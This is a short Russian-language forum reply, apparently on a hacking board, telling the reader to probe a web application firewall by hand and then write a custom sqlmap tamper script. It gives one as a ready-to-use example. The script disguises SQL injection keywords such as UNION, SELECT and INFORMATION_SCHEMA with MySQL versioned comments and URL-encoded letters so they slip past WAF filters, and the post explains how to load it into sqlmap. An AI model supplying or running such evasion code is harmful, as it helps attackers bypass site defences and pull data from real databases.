↑
Пробуй обойти ваф руками, потом пиши свой тампер на этот ваф, вот как пример
Spoiler
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (
http://sqlmap.org/
)
See the file 'doc/COPYING' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
........
"""
if payload:
payload = payload.replace("INFORMATION_SCHEMA.TABLES", "/*!12345%49NFORMATION_SCHEMA.TABLES*/")
payload = payload.replace("table_schema", "/*!12345%74able_schema*/")
payload = payload.replace("table_name", "/*!12345%74able_name*/")
payload = payload.replace("UNION", "/*!12345%75NION*/")
payload = payload.replace("SELECT", "/*!12345%73ELECT*/")
payload = payload.replace("SCHEMA", "%73CHEMA")
payload = payload.replace("schema", "%73chema")
payload = payload.replace("from", "/*!12345from*/")
return payload
дальше кладешь в папочку tamper/my_tamper.py и вызываешь --tamper="my_tamper"